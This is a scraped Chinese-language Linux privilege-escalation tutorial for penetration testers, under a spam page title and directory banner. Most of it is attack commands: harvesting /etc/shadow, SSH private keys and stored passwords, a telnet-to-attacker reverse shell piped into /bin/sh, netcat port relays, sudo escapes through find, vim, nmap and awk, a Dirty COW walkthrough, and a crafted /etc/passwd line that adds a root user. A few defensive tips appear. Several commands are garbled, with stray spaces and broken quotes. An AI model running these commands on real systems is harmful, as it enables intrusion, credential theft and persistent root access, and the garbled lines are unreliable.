亚洲视频二区_亚洲欧洲日本天天堂在线观看_日韩一区二区在线观看_中文字幕不卡一区

公告:魔扣目錄網(wǎng)為廣大站長(zhǎng)提供免費(fèi)收錄網(wǎng)站服務(wù),提交前請(qǐng)做好本站友鏈:【 網(wǎng)站目錄:http://www.430618.com 】, 免友鏈快審服務(wù)(50元/站),

點(diǎn)擊這里在線咨詢(xún)客服
新站提交
  • 網(wǎng)站:51998
  • 待審:31
  • 小程序:12
  • 文章:1030137
  • 會(huì)員:747

0x001 linux提權(quán)描述

大多數(shù)計(jì)算機(jī)系統(tǒng)設(shè)計(jì)為可與多個(gè)用戶(hù)一起使用。特權(quán)是指允許用戶(hù)執(zhí)行的操作。普通特權(quán)包括查看和編輯文件或修改系統(tǒng)文件。特權(quán)升級(jí)意味著用戶(hù)獲得他們無(wú)權(quán)獲得的特權(quán)。這些特權(quán)可用于刪除文件,查看私人信息或安裝不需要的程序,例如病毒。通常,當(dāng)系統(tǒng)存在允許繞過(guò)安全性的錯(cuò)誤或?qū)κ褂梅椒ǖ脑O(shè)計(jì)假設(shè)存在缺陷時(shí),通常會(huì)發(fā)生這種情況。

特權(quán)提升是利用操作系統(tǒng)或軟件應(yīng)用程序中的錯(cuò)誤,設(shè)計(jì)缺陷等等來(lái)獲得對(duì)通常受到應(yīng)用程序或用戶(hù)保護(hù)的資源的更高訪問(wèn)權(quán)限的行為。結(jié)果是,具有比應(yīng)用程序開(kāi)發(fā)人員或系統(tǒng)管理員想要的特權(quán)更多的應(yīng)用程序可以執(zhí)行未經(jīng)授權(quán)的操作。

特權(quán)升級(jí)有兩種類(lèi)型:水平垂直。水平升級(jí)中,您從一個(gè)用戶(hù)轉(zhuǎn)移到另一個(gè)用戶(hù)。在這種情況下,兩個(gè)用戶(hù)都是通用的,而在垂直方式中,我們將特權(quán)從普通用戶(hù)提升為管理員

簡(jiǎn)單來(lái)說(shuō)就是

即用戶(hù)無(wú)法訪問(wèn)(讀取/寫(xiě)入/執(zhí)行)不允許訪問(wèn)的文件。但是,超級(jí)用戶(hù)(root)可以訪問(wèn)系統(tǒng)上存在的所有文件。為了更改任何重要的配置或進(jìn)行進(jìn)一步的攻擊,首先,我們需要在任何基于Linux的系統(tǒng)上獲得root用戶(hù)訪問(wèn)權(quán)限

為什么我們需要執(zhí)行特權(quán)升級(jí)?

  • 讀/寫(xiě)任何敏感文件
  • 重新啟動(dòng)之間輕松保持
  • 插入永久后門(mén)

特權(quán)升級(jí)所使用的技術(shù)

我們假設(shè)現(xiàn)在我們?cè)谶h(yuǎn)程系統(tǒng)上有外殼。根據(jù)我們滲透進(jìn)去的方式,我們可能沒(méi)有“ root”特權(quán)。以下提到的技術(shù)可用于獲取系統(tǒng)上的“ root”訪問(wèn)權(quán)限。

  • 內(nèi)核漏洞
  • 以root身份運(yùn)行的程序
  • 已安裝的軟件
  • 弱密碼/重用密碼/純文本密碼
  • 內(nèi)部服務(wù)
  • Suid配置錯(cuò)誤
  • 濫用sudo權(quán)利
  • 由root調(diào)用的可寫(xiě)腳本
  • 路徑配置錯(cuò)誤
  • Cronjobs
  • 卸載的文件系統(tǒng)

0x002 基本Linux權(quán)限提升前的信息收集

信息收集是關(guān)鍵。

(Linux)特權(quán)提升的TIps:

  • 信息信息,更多的信息收集,信息收集是整個(gè)滲透測(cè)試過(guò)程的
  • 整理信息,分析收集的信息和整理信息。
  • 搜索漏洞- 知道要搜索什么以及在哪里可以找到漏洞利用代碼。
  • 修改代碼- 修改漏洞利用程序,使其適合目前的滲透。并非每種漏洞都能為“現(xiàn)成”的每個(gè)系統(tǒng)工作。漏洞看環(huán)境
  • 嘗試攻擊- 為(很多)嘗試和錯(cuò)誤做好準(zhǔn)備。

操作系統(tǒng)

什么是發(fā)行類(lèi)型?什么版本的?

cat /etc/issue cat /etc/*-release cat /etc/lsb-release # Debian based cat /etc/redhat-release # Redhat based

什么是內(nèi)核版本?是64位嗎?

cat /proc/version uname -a uname -mrs rpm -q kernel dmesg | grep Linux ls /boot | grep vmlinuz-

從環(huán)境變量中可以收集到什么信息?環(huán)境變量中可能存在密碼或API密鑰

cat /etc/profile cat /etc/bashrc cat ~/.bash_profile cat ~/.bashrc cat ~/.bash_logout env set

路徑(Path)

如果您對(duì)該變量?jī)?nèi)的任何文件夾都具有寫(xiě)權(quán)限,則可以劫持某些庫(kù)或二進(jìn)制文件:

PATH

echo $ PATH

有打印機(jī)嗎?

lpstat -a

應(yīng)用與服務(wù)

哪些服務(wù)正在運(yùn)行?哪個(gè)服務(wù)具有哪個(gè)用戶(hù)特權(quán)?

ps aux ps -ef top cat /etc/services

root正在運(yùn)行哪些服務(wù)?在這些易受攻擊的服務(wù)中,值得仔細(xì)檢查!

ps aux | grep root ps -ef | grep root

安裝了哪些應(yīng)用程序?他們是什么版本的?他們目前在運(yùn)行嗎?

ls -alh /usr/bin/ ls -alh /sbin/ dpkg -l rpm -qa ls -alh /var/cache/apt/archivesO ls -alh /var/cache/yum/

服務(wù)設(shè)置是否配置錯(cuò)誤?是否附有(脆弱的)插件?

cat /etc/syslog.conf
cat /etc/chttp.conf
cat /etc/lighttpd.conf
cat /etc/cups/cupsd.conf
cat /etc/inetd.conf cat /etc/Apache2/apache2.conf
cat /etc/my.conf cat /etc/httpd/conf/httpd.conf
cat /opt/lampp/etc/httpd.conf ls -aRl /etc/ | awk '$1 ~ /^.*r.*/

計(jì)劃了哪些工作?(計(jì)劃任務(wù))

crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root

是否有純文本用戶(hù)名和/或密碼?

  • 檢查Web服務(wù)器連接到數(shù)據(jù)庫(kù)的文件(config.php或類(lèi)似文件)
  • 檢查數(shù)據(jù)庫(kù)以獲取可能被重用的管理員密碼
  • 檢查弱密碼
grep -i user [filename]
grep -i pass [filename]
grep -C 5 "password" [filename]
find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password"

通訊與網(wǎng)絡(luò)

系統(tǒng)具有哪些NIC?它是否連接到另一個(gè)網(wǎng)絡(luò)?

/sbin/ifconfig -a cat /etc/network/interfaces cat /etc/sysconfig/network

什么是網(wǎng)絡(luò)配置設(shè)置?我們可以找到關(guān)于該網(wǎng)絡(luò)的哪些信息?DHCP服務(wù)器?DNS服務(wù)器?網(wǎng)關(guān)?

cat /etc/resolv.conf cat /etc/sysconfig/network cat /etc/networks iptables -L hostname dnsdomainname

其他哪些用戶(hù)和主機(jī)正在與系統(tǒng)通信?

在這種情況下,用戶(hù)正在運(yùn)行某些只能從該主機(jī)獲得的服務(wù)。您無(wú)法從外部連接到服務(wù)。它可能是開(kāi)發(fā)服務(wù)器,數(shù)據(jù)庫(kù)或其他任何東西。這些服務(wù)可能以root用戶(hù)身份運(yùn)行,或者其中可能存在漏洞。由于開(kāi)發(fā)人員或用戶(hù)可能在考慮“由于只有特定用戶(hù)可以訪問(wèn)它,因此我們不需要花費(fèi)那么多的安全性”,因此它們可能更加脆弱。

檢查netstat并將其與您從外部進(jìn)行的nmap掃描進(jìn)行比較。您是否能從內(nèi)部找到更多可用的服務(wù)?

# Linuxnetstat -anlpnetstat -ano  lsof -i lsof -i :80 grep 80 /etc/services netstat -antup netstat -antpx netstat -tulpn chkconfig --list chkconfig --list | grep 3:on last w

緩存了什么?IP和/或mac地址

arp -e route /sbin/route -nee

數(shù)據(jù)包嗅探是否可能?可以看到什么?

tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.5.5.252 21

注意:tcpdump tcp dst [ip] [端口]和tcp dst [ip] [端口]

我們有shell嗎?

nc -lvp 4444 # Attacker. Input (Commands)
nc -lvp 4445 # Attacker. Ouput (Results) telnet [atackers ip] 44444 | /bin/sh | [local ip] 44445

是否可以進(jìn)行端口轉(zhuǎn)發(fā)?重定向流量并與之交互

注意:FPipe.exe -l [本地端口] -r [遠(yuǎn)程端口] -s [本地端口] [本地IP]

FPipe.exe -l 80 -r 80 -s 80 192.168.1.7

注意:ssh-[L / R] [本地端口]:[遠(yuǎn)程IP]:[遠(yuǎn)程端口] [本地用戶(hù)] @ [本地IP]

ssh -L 8080:127.0.0.1:80 [email protected] # Local Port ssh -R 8080:127.0.0.1:80 [email protected] # Remote Port

注意:mknod backpipe p; nc -l -p [遠(yuǎn)程端口]backpipe

mknod backpipe p ; nc -l -p 8080 < backpipe | nc 10.5.5.151 80 >backpipe # Port Relay
mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow 1>backpipe # Proxy (Port 80 to 8080)
mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow & 1>backpipe # Proxy monitor (Port 80 to 8080)

可以使用隧道嗎?在本地遠(yuǎn)程發(fā)送命令

ssh -D 127.0.0.1:9050 -N [username]@[ip] proxychains ifconfig

機(jī)密信息和用戶(hù)

你是誰(shuí)?誰(shuí)登錄?誰(shuí)已經(jīng)登錄?那里還有誰(shuí)?誰(shuí)能做什么?

id

who

w

last

cat /etc/passwd | cut -d: -f1 # List of users

grep -v -E “^#” /etc/passwd | awk -F: ‘$3 == 0 { print $1}’ # List of super users

awk -F: ‘($3 == “0”) {print}’ /etc/passwd # List of super users

cat /etc/sudoers

sudo -l

可以找到哪些敏感文件?

cat /etc/passwd

cat /etc/group

cat /etc/shadow

ls -alh /var/mail/

home/root目錄有什么“有用”的地方嗎?如果可以訪問(wèn)

ls -ahlR /root/

ls -ahlR /home/

里面有密碼嗎?腳本,數(shù)據(jù)庫(kù),配置文件還是日志文件?密碼的默認(rèn)路徑和位置

cat /var/apache2/config.inc

cat /var/lib/MySQL/mysql/user.MYD

cat /root/anaconda-ks.cfg

用戶(hù)正在做什么?是否有純文本密碼?他們?cè)诰庉嬍裁矗?/strong>

cat ~/.bash_history

cat ~/.nano_history

cat ~/.atftp_history

cat ~/.mysql_history

cat ~/.php_history

可以找到哪些用戶(hù)信息?

cat ~/.bashrc

cat ~/.profile

cat /var/mail/root

cat /var/spool/mail/root

可以找到私鑰信息嗎?

cat ~/.ssh/authorized_keys

cat ~/.ssh/identity.pub

cat ~/.ssh/identity

cat ~/.ssh/id_rsa.pub

cat ~/.ssh/id_rsa

cat ~/.ssh/id_dsa.pub

cat ~/.ssh/id_dsa

cat /etc/ssh/ssh_config

cat /etc/ssh/sshd_config

cat /etc/ssh/ssh_host_dsa_key.pub

cat /etc/ssh/ssh_host_dsa_key

cat /etc/ssh/ssh_host_rsa_key.pub

cat /etc/ssh/ssh_host_rsa_key

cat /etc/ssh/ssh_host_key.pub

cat /etc/ssh/ssh_host_key

文件系統(tǒng)

可以在/ etc /中寫(xiě)入哪些配置文件?能夠重新配置服務(wù)?

ls -aRl /etc/ | awk ‘$1 ~ /^.w./‘ 2>/dev/null # Anyone

ls -aRl /etc/ | awk ‘$1 ~ /^..w/‘ 2>/dev/null # Owner

ls -aRl /etc/ | awk ‘$1 ~ /^…..w/‘ 2>/dev/null # Group

ls -aRl /etc/ | awk '$1 ~ /w.$/' 2>/dev/null # Other

find /etc/ -readable -type f 2>/dev/null # Anyone

find /etc/ -readable -type f -maxdepth 1 2>/dev/null # Anyone

在/ var /中可以找到什么?

ls -alh /var/log ls -alh /var/mail

ls -alh /var/spool

ls -alh /var/spool/lpd

ls -alh /var/lib/pgsql

ls -alh /var/lib/mysql

cat /var/lib/dhcp3/dhclient.leases

網(wǎng)站上是否有任何設(shè)置/文件(隱藏)?有數(shù)據(jù)庫(kù)信息的任何設(shè)置文件嗎?

ls -alhR /var/www/

ls -alhR /srv/www/htdocs/

ls -alhR /usr/local/www/apache22/data/

ls -alhR /opt/lampp/htdocs/

ls -alhR /var/www/html/

日志文件中是否有任何內(nèi)容(可以幫助“本地文件包含”!)

cat /etc/httpd/logs/access_log

cat /etc/httpd/logs/access.log

cat /etc/httpd/logs/error_log

cat /etc/httpd/logs/error.log

cat /var/log/apache2/access_log

cat /var/log/apache2/access.log

cat /var/log/apache2/error_log

cat /var/log/apache2/error.log

cat /var/log/apache/access_log

cat /var/log/apache/access.log

cat /var/log/auth.log

cat /var/log/chttp.log

cat /var/log/cups/error_log

cat /var/log/dpkg.log

cat /var/log/faillog

cat /var/log/httpd/access_log

cat /var/log/httpd/access.log

cat /var/log/httpd/error_log

cat /var/log/httpd/error.log

cat /var/log/lastlog

cat /var/log/lighttpd/access.log

cat /var/log/lighttpd/error.log

cat /var/log/lighttpd/lighttpd.access.log

cat /var/log/lighttpd/lighttpd.error.log

cat /var/log/messagescat /var/log/secure

cat /var/log/syslogcat /var/log/wtmp

cat /var/log/xferlog

cat /var/log/yum.log

cat /var/run/utmp

cat /var/webmin/miniserv.log

cat /var/www/logs/access_log

cat /var/www/logs/access.log

ls -alh /var/lib/dhcp3/

ls -alh /var/log/postgresql/

ls -alh /var/log/proftpd/

ls -alh /var/log/samba/

Note: auth.log, boot, btmp, daemon.log, debug, dmesg, kern.log, mail.info, mail.log, mail.warn, messages, syslog, udev, wtmp

如果命令受到限制,我們得跳出“受到限制”外殼嗎?

Python -c ‘import pty;pty.spawn(“/bin/bash”)’

echo os.system(‘/bin/bash’)

/bin/sh -i

是否存在安裝文件系統(tǒng)

mount df -h

是否有任何卸載的文件系統(tǒng)?

cat /etc/fstab

“Linux文件權(quán)限”是什么?

find / -perm -1000 -type d 2>/dev/null   # Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here.
find / -perm -g=s -type f 2>/dev/null    # SGID (chmod 2000) - run as the group, not the user who started it.
find / -perm -u=s -type f 2>/dev/null    # SUID (chmod 4000) - run as the owner, not the user who started it.
find / -perm -g=s -o -perm -u=s -type f 2>/dev/null    # SGID or SUIDfor i in `locate -r "bin$"`; do
find $i ( -perm -4000 -o -perm -2000 ) -type f 2>/dev/null; done    # Looks in 'common' places: /bin, /sbin, /usr/bin, /usr/sbin, /usr/local/bin, /usr/local/sbin and any other *bin, for SGID or SUID (Quicker search)#
find starting at root (/), SGID or SUID, not Symbolic links, only 3 folders deep, list with more detail and hide any errors (e.g. permission denied)find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} ; 2>/dev/null

可以在哪里寫(xiě)入和執(zhí)行?一些“常見(jiàn)”位置:

/ tmp
/ var / tmp
/ dev / shm
find / -writable -type d 2>/dev/null      # world-writeable folders
find / -perm -222 -type d 2>/dev/null     # world-writeable folders
find / -perm -o w -type d 2>/dev/null     # world-writeable folders
find / -perm -o x -type d 2>/dev/null     # world-executable folders
find / ( -perm -o w -perm -o x ) -type d 2>/dev/null   # world-writeable & executable folders

任何“問(wèn)題”文件嗎?Word可寫(xiě)的“沒(méi)人”文件

find / -xdev -type d ( -perm -0002 -a ! -perm -1000 ) -print   # world-writeable filesfind /dir -xdev ( -nouser -o -nogroup ) -print   # Noowner files

準(zhǔn)備和查找漏洞利用代碼

安裝/支持哪些開(kāi)發(fā)工具/語(yǔ)言?

find / -name perl*

find / -name python*

find / -name gcc*

find / -name cc

如何上傳文件?

find / -name wget

find / -name nc*

find / -name netcat*

find / -name tftp*

find / -name ftp

系統(tǒng)是否已完全打補(bǔ)丁?

內(nèi)核,操作系統(tǒng),所有應(yīng)用程序,其插件和Web服務(wù)

0x003 linux提權(quán)—自動(dòng)信息收集

枚舉腳本

我主要使用了三個(gè)用于枚舉機(jī)器的腳本。它們?cè)谀_本之間有些區(qū)別,但是它們輸出的內(nèi)容很多相同。因此,將它們?nèi)繙y(cè)試一下,看看您最喜歡哪一個(gè)。

LinEnum

https://github.com/rebootuser/LinEnum

以下是選項(xiàng):

-k Enter keyword-e Enter export location-t Include thorough (lengthy) tests-r Enter report name-h Displays this help text

Unix特權(quán)

http://pentestmonkey.net/tools/audit/unix-privesc-check
運(yùn)行腳本并將輸出保存在文件中,然后使用grep發(fā)出警告。

Linprivchecker.py

https://github.com/reider-roque/linpostexp/blob/master/linprivchecker.py

0x004 linux提權(quán)-內(nèi)核漏洞提權(quán)

通過(guò)利用Linux內(nèi)核中的漏洞,有時(shí)我們可以提升特權(quán)。我們通常需要了解的操作系統(tǒng),體系結(jié)構(gòu)和內(nèi)核版本是測(cè)試內(nèi)核利用是否可行的測(cè)試方法。

內(nèi)核漏洞

內(nèi)核漏洞利用程序是利用內(nèi)核漏洞來(lái)執(zhí)行具有更高權(quán)限的任意代碼的程序。成功的內(nèi)核利用通常以root命令提示符的形式為攻擊者提供對(duì)目標(biāo)系統(tǒng)的超級(jí)用戶(hù)訪問(wèn)權(quán)限。在許多情況下,升級(jí)到Linux系統(tǒng)上的根目錄就像將內(nèi)核漏洞利用程序下載到目標(biāo)文件系統(tǒng),編譯該漏洞利用程序然后執(zhí)行它一樣簡(jiǎn)單。

假設(shè)我們可以以非特權(quán)用戶(hù)身份運(yùn)行代碼,這就是內(nèi)核利用的通用工作流程。

1.誘使內(nèi)核在內(nèi)核模式下運(yùn)行我們的有效負(fù)載

2.處理內(nèi)核數(shù)據(jù),例如進(jìn)程特權(quán)3.以新特權(quán)啟動(dòng)shell root!

考慮到要成功利用內(nèi)核利用攻擊,攻擊者需要滿(mǎn)足以下四個(gè)條件:

1.易受攻擊的內(nèi)核

2.匹配的漏洞利用程序

3.將漏洞利用程序轉(zhuǎn)移到目標(biāo)上的能力

4.在目標(biāo)上執(zhí)行漏洞利用程序的能力

抵御內(nèi)核漏洞的最簡(jiǎn)單方法是保持內(nèi)核的修補(bǔ)和更新。在沒(méi)有補(bǔ)丁的情況下,管理員可以極大地影響在目標(biāo)上轉(zhuǎn)移和執(zhí)行漏洞利用的能力。考慮到這些因素,如果管理員可以阻止將利用程序引入和/或執(zhí)行到Linux文件系統(tǒng)上,則內(nèi)核利用程序攻擊將不再可行。因此,管理員應(yīng)專(zhuān)注于限制或刪除支持文件傳輸?shù)某绦颍鏔TP,TFTP,SCP,wget和curl。當(dāng)需要這些程序時(shí),它們的使用應(yīng)限于特定的用戶(hù),目錄,應(yīng)用程序(例如SCP)和特定的IP地址或域。

內(nèi)核信息收集

一些基本命令收集一些Linux內(nèi)核信息

命令結(jié)果
uname -a打印所有可用的系統(tǒng)信息
uname -mLinux內(nèi)核體系結(jié)構(gòu)(32或64位)
uname -r內(nèi)核發(fā)布
uname -n要么hostname系統(tǒng)主機(jī)名
cat /proc/version內(nèi)核信息
cat /etc/*-release要么cat /etc/issue發(fā)行信息
cat /proc/cpuinfoCPU信息
df -a文件系統(tǒng)信息
dpkg —list 2>/dev/nullgrep compilergrep -v decompiler 2>/dev/null && yum list installed ‘gcc*’ 2>/dev/nullgrep gcc 2>/dev/null列出可用的編譯器

搜索漏洞

site:exploit-db.com kernel version python linprivchecker.py extended

通過(guò)臟牛(**CVE-2016-5195**)利用易受攻擊的機(jī)器
$ whoami命令–告訴我們當(dāng)前用戶(hù)是john(非root用戶(hù))
$ uname -a –給我們我們知道容易受到dirtycow攻擊的內(nèi)核版本>從此處下載dirtycow漏洞– https://www.exploit-db .com / exploits / 40839 />編譯并執(zhí)行。通過(guò)編輯/ etc / passwd文件,它將“ root”用戶(hù)替換為新用戶(hù)“ rash”。
$ su rash –將當(dāng)前登錄用戶(hù)更改為root用戶(hù)的“ rash”。

其他內(nèi)核提權(quán)

https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs

對(duì)于不同的內(nèi)核和操作系統(tǒng),可以公開(kāi)獲得許多不同的本地特權(quán)升級(jí)漏洞。是否可以使用內(nèi)核利用漏洞在Linux主機(jī)上獲得root訪問(wèn)權(quán)限,取決于內(nèi)核是否易受攻擊。Kali Linux具有exploit-db漏洞的本地副本,這使搜索本地根漏洞更加容易。我不建議在搜索Linux內(nèi)核漏洞時(shí)完全依賴(lài)此數(shù)據(jù)庫(kù)。

避免一開(kāi)始就利用任何本地特權(quán)升級(jí)漏洞

如果可以避免,請(qǐng)不要使用內(nèi)核漏洞利用。如果使用它,可能會(huì)使計(jì)算機(jī)崩潰或使其處于不穩(wěn)定狀態(tài)。因此,內(nèi)核漏洞利用應(yīng)該是最后的手段。

0x004 linux提權(quán)-利用以root權(quán)限運(yùn)行的服務(wù)

描述

著名的EternalBlue和SambaCry漏洞利用了以root身份運(yùn)行的smb服務(wù)。由于它的致命組合,它被廣泛用于在全球范圍內(nèi)傳播勒索軟件。

這里的手法是,如果特定服務(wù)以root用戶(hù)身份運(yùn)行,并且我們可以使該服務(wù)執(zhí)行命令,則可以root用戶(hù)身份執(zhí)行命令。

我們可以重點(diǎn)檢查Web服務(wù),郵件服務(wù),數(shù)據(jù)庫(kù)服務(wù)等是否以root用戶(hù)身份運(yùn)行。很多時(shí)候,運(yùn)維都以root用戶(hù)身份運(yùn)行這些服務(wù),而忽略了它可能引起的安全問(wèn)題。可能有一些服務(wù)在本地運(yùn)行,而沒(méi)有公開(kāi)暴露出來(lái),但是也可以利用。

netstat -antup 顯示所有打開(kāi)并正在監(jiān)聽(tīng)的端口。我們可以檢查在本地運(yùn)行的服務(wù)是否可以被利用。

ps aux 列出哪些進(jìn)程正在運(yùn)行

ps -aux | grep root 列出以root身份運(yùn)行的服務(wù)。

Matesploits

ps 檢查哪些進(jìn)程正在運(yùn)行

利用以root用戶(hù)身份運(yùn)行的易受攻擊的MySQL版本來(lái)獲得root用戶(hù)訪問(wèn)權(quán)限

MySQL UDF動(dòng)態(tài)庫(kù)漏洞利用可讓我們從mysql shell執(zhí)行任意命令。如果mysql以root特權(quán)運(yùn)行,則命令將以root身份執(zhí)行。

ps -aux | grep root 列出以root身份運(yùn)行的服務(wù)。

干貨|一文吃透Linux提權(quán)

 

可以看到mysql服務(wù)以root用戶(hù)組運(yùn)行,那么我們可以使用將作為root用戶(hù)執(zhí)行的MySQL Shell執(zhí)行任意命令

干貨|一文吃透Linux提權(quán)

 

擁有root權(quán)限的程序的二進(jìn)制漏洞利用遠(yuǎn)沒(méi)有內(nèi)核漏洞利用危險(xiǎn),因?yàn)榧词狗?wù)崩潰,主機(jī)也不會(huì)崩潰,并且服務(wù)可能會(huì)自動(dòng)重啟。

防御

除非真正需要,否則切勿以root用戶(hù)身份運(yùn)行任何服務(wù),尤其是Web,數(shù)據(jù)庫(kù)和文件服務(wù)器。

0x005 linux提權(quán)—濫用SUDO

在滲透中,我們拿到的webshell和反彈回來(lái)的shell權(quán)限可能都不高,如果我們可以使用sudo命令訪問(wèn)某些程序,則我們可以使用sudo可以升級(jí)特權(quán)。在這里,我顯示了一些二進(jìn)制文件,這些文件可以幫助您使用sudo命令提升特權(quán)。但是在特權(quán)升級(jí)之前,讓我們了解一些sudoer文件語(yǔ)法,sudo命令是什么?;)。

  1. 什么是SUDO?
  2. Sudoer文件語(yǔ)法。
  3. 利用SUDO用戶(hù)
  • /usr/bin/find
  • /usr/bin/nano
  • /usr/bin/vim
  • /usr/bin/man
  • /usr/bin/awk
  • /usr/bin/less
  • /usr/bin/nmap ( –interactive and –script method)
  • /bin/more
  • /usr/bin/wget
  • /usr/sbin/apache2

什么是SUDO ??

sudo是linux系統(tǒng)管理指令,是允許系統(tǒng)管理員讓普通用戶(hù)執(zhí)行一些或者全部的root命令的一個(gè)工具,如halt,reboot,su等等。這樣不僅減少了root用戶(hù)的登錄 和管理時(shí)間,同樣也提高了安全性。sudo不是對(duì)shell的一個(gè)代替,它是面向每個(gè)命令的。

基礎(chǔ)

它的特性主要有這樣幾點(diǎn):

  • sudo能夠限制用戶(hù)只在某臺(tái)主機(jī)上運(yùn)行某些命令。
  • sudo提供了豐富的日志,詳細(xì)地記錄了每個(gè)用戶(hù)干了什么。它能夠?qū)⑷罩緜鞯街行闹鳈C(jī)或者日志服務(wù)器。
  • sudo使用時(shí)間戳文件來(lái)執(zhí)行類(lèi)似的“檢票”系統(tǒng)。當(dāng)用戶(hù)調(diào)用sudo并且輸入它的密碼時(shí),用戶(hù)獲得了一張存活期為5分鐘的票(這個(gè)值可以在編譯的時(shí)候改變)。
  • sudo的配置文件是sudoers文件,它允許系統(tǒng)管理員集中的管理用戶(hù)的使用權(quán)限和使用的主機(jī)。它所存放的位置默認(rèn)是在/etc/sudoers,屬性必須為0440。

在sudo于1980年前后被寫(xiě)出之前,一般用戶(hù)管理系統(tǒng)的方式是利用su切換為超級(jí)用戶(hù)。但是使用su的缺點(diǎn)之一在于必須要先告知超級(jí)用戶(hù)的密碼。

sudo使一般用戶(hù)不需要知道超級(jí)用戶(hù)的密碼即可獲得權(quán)限。首先超級(jí)用戶(hù)將普通用戶(hù)的名字、可以執(zhí)行的特定命令、按照哪種用戶(hù)或用戶(hù)組的身份執(zhí)行等信息,登記在特殊的文件中(通常是/etc/sudoers),即完成對(duì)該用戶(hù)的授權(quán)(此時(shí)該用戶(hù)稱(chēng)為“sudoer”);在一般用戶(hù)需要取得特殊權(quán)限時(shí),其可在命令前加上“sudo”,此時(shí)sudo將會(huì)詢(xún)問(wèn)該用戶(hù)自己的密碼(以確認(rèn)終端機(jī)前的是該用戶(hù)本人),回答后系統(tǒng)即會(huì)將該命令的進(jìn)程以超級(jí)用戶(hù)的權(quán)限運(yùn)行。之后的一段時(shí)間內(nèi)(默認(rèn)為5分鐘,可在/etc/sudoers自定義),使用sudo不需要再次輸入密碼。

由于不需要超級(jí)用戶(hù)的密碼,部分Unix系統(tǒng)甚至利用sudo使一般用戶(hù)取代超級(jí)用戶(hù)作為管理帳號(hào),例如Ubuntu、Mac OS X等。

參數(shù)說(shuō)明

  • -V 顯示版本編號(hào)
  • -h 會(huì)顯示版本編號(hào)及指令的使用方式說(shuō)明
  • -l 顯示出自己(執(zhí)行 sudo 的使用者)的權(quán)限
  • -v 因?yàn)?sudo 在第一次執(zhí)行時(shí)或是在 N 分鐘內(nèi)沒(méi)有執(zhí)行(N 預(yù)設(shè)為五)會(huì)問(wèn)密碼,這個(gè)參數(shù)是重新做一次確認(rèn),如果超過(guò) N 分鐘,也會(huì)問(wèn)密碼
  • -k 將會(huì)強(qiáng)迫使用者在下一次執(zhí)行 sudo 時(shí)問(wèn)密碼(不論有沒(méi)有超過(guò) N 分鐘)
  • -b 將要執(zhí)行的指令放在背景執(zhí)行
  • -p prompt 可以更改問(wèn)密碼的提示語(yǔ),其中 %u 會(huì)代換為使用者的帳號(hào)名稱(chēng), %h 會(huì)顯示主機(jī)名稱(chēng)
  • -u username/#uid 不加此參數(shù),代表要以 root 的身份執(zhí)行指令,而加了此參數(shù),可以以 username 的身份執(zhí)行指令(#uid 為該 username 的使用者號(hào)碼)
  • -s 執(zhí)行環(huán)境變數(shù)中的 SHELL 所指定的 shell ,或是 /etc/passwd 里所指定的 shell
  • -H 將環(huán)境變數(shù)中的 HOME (家目錄)指定為要變更身份的使用者家目錄(如不加 -u 參數(shù)就是系統(tǒng)管理者 root )
  • command 要以系統(tǒng)管理者身份(或以 -u 更改為其他人)執(zhí)行的指令

Sudoer文件

sudoers文件主要有三部分組成:

  • sudoers的默認(rèn)配置(default),主要設(shè)置sudo的一些缺省值
  • alias(別名),主要有Host_Alias|Runas_Alias|User_Alias|Cmnd_Alias。
  • 安全策略(規(guī)則定義)——重點(diǎn)

語(yǔ)法

root ALL=(ALL) ALL

說(shuō)明1:root用戶(hù)可以從 ALL終端作為 ALL(任意)用戶(hù)執(zhí)行,并運(yùn)行 ALL(任意)命令。

第一部分是用戶(hù),第二部分是用戶(hù)可以在其中使用sudo命令的終端,第三部分是他可以充當(dāng)?shù)挠脩?hù),最后一部分是他在使用時(shí)可以運(yùn)行的命令。sudo

touhid ALL= /sbin/poweroff

說(shuō)明2:以上命令,使用戶(hù)可以從任何終端使用touhid**的用戶(hù)密碼**關(guān)閉命令電源。

touhid ALL = (root) NOPASSWD: /usr/bin/find

說(shuō)明3:上面的命令,使用戶(hù)可以從任何終端運(yùn)行,以root用戶(hù)身份運(yùn)行命令find 而無(wú)需密碼

利用SUDO用戶(hù)

要利用sudo用戶(hù),您需要找到您必須允許的命令。
sudo -l

上面的命令顯示了允許當(dāng)前用戶(hù)使用的命令。

干貨|一文吃透Linux提權(quán)

 

此處sudo -l,顯示用戶(hù)已允許以root用戶(hù)身份執(zhí)行所有此二進(jìn)制文件而無(wú)需密碼。

讓我們一一查看所有二進(jìn)制文件(僅在索引中提到)和將特權(quán)提升給root用戶(hù)。

使用查找命令

sudo find / etc / passwd -exec / bin / sh ;

要么

sudo find / bin -name nano -exec / bin / sh ;

使用Vim命令

sudo vim -c’!sh’

使用Nmap命令

sudo nmap-交互式nmap>!shsh-4.1#

注意:**nmap –interactive選項(xiàng)在最新的nmap**中不可用。

沒(méi)有互動(dòng)的最新方式

echo“ os.execute(’/ bin / sh’)”> /tmp/shell.nse && sudo nmap —script = / tmp / shell.nse

使用Man命令

sudo man man

之后按按下并按Enter

使用less/more命令

sudo less / etc / hosts

sudo more / etc / hosts

之后按按下并按Enter

使用awk命令

sudo awk’BEGIN {system(“ / bin / sh”)}’

使用nano命令

nano是使用此編輯器的文本編輯器,在您需要切換用戶(hù)之后,您可以修改passwd文件并將用戶(hù)添加為root特權(quán)。在/ etc /passwd中添加此行,以將用戶(hù)添加為root特權(quán)。

touhid:$ 6 $ bxwJfzor $ MUhUWO0MUgdkWfPPEydqgZpm.YtPMI / gaM4lVqhP21LFNWmSJ821kvJnIyoODYtBh.SF9aR7ciQBRCcw5bgjX0:0:0:root:/ root:/ bin

sudo nano / etc / passwd

現(xiàn)在切換用戶(hù)密碼是:test

su touhid

使用wget命令

這種非常酷的方式要求Web服務(wù)器下載文件。這樣我從沒(méi)在任何地方見(jiàn)過(guò)。讓我們解釋一下。

